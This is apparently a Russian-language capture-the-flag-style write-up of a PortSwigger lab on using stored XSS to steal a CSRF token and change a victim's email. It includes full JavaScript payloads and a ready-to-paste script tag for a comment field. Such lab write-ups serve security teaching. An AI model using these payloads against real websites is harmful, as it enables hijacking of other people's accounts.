На странице
Обход CSRF через XSS
Лаборатория
Exploiting XSS to bypass CSRF defenses · Practitioner
Разведка
Из описания: нужно изменить email жертвы, используя XSS-уязвимость для обхода защиты по CSRF-токену.
Смотрим, как работает смена email. Со страницы /my-account?id=wiener улетает POST на /my-account/change-email с телом:
email=new@mail.com
csrf=YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea
Значит, нагрузка должна предварительно добыть CSRF-токен. Атака: пэйлоад сначала делает GET на /my-account, забирает токен, потом POST на /my-account/change-email.
Точку для XSS ищем на удачу — <img src=x onerror=fetch(1)> в поле комментария. Есть XSS.
План
- GET на
/my-account - Читаем ответ и находим CSRF-токен — он лежит в
<input required type="hidden" name="csrf" value="YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea"> - POST на
/my-account/change-email— CSRF-токен и email в тело запроса как FormData
Извлечь токен можно регуляркой или через DOMParser. Распарсить HTML надёжнее.
Эксплуатация
Первый вариант нагрузки:
fetch('/my-account')
.then(r => r.text())
.then(html => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const csrf = doc.querySelector('input[name=csrf]').value;
const body = new URLSearchParams({ email: 'new@mail.com', csrf });
return fetch('/my-account/change-email', { method: 'POST', body });
});
Пробуем в консоли Chrome — токен получается успешно, запрос улетает, возвращает 302 и редирект, но email не поменялся.
Сравнил наш запрос с оригинальным. Отличие — в заголовке Content-Type: сервер PortSwigger ждёт application/x-www-form-urlencoded, а URLSearchParams подставляет с кодировкой — application/x-www-form-urlencoded;charset=UTF-8.
Итоговая нагрузка:
fetch('/my-account')
.then(r => r.text())
.then(html => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const csrf = doc.querySelector('input[name=csrf]').value;
const body = new URLSearchParams({ email: 'pwned@hacker.com', csrf });
return fetch('/my-account/change-email', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body,
});
});
Ключ — явная установка headers: { 'Content-Type': 'application/x-www-form-urlencoded' }.
Подготовленная версия для вставки в поле комментария:
<script> fetch('/my-account') .then(r => r.text()) .then(html => { const doc = new DOMParser().parseFromString(html, 'text/html'); const csrf = doc.querySelector('input[name=csrf]').value; const body = new URLSearchParams({email: 'pwned@hacker.com', csrf}); return fetch('/my-account/change-email', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body }); }); </script>
Лаба решена.
Ещё в этой категории
Внедрение произвольного объекта в PHP (PortSwigger Lab)
Восстановление утёкшего исходного кода и внедрение сериализованного объекта CustomTemplate, чей __destruct удаляет произвольный файл.
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.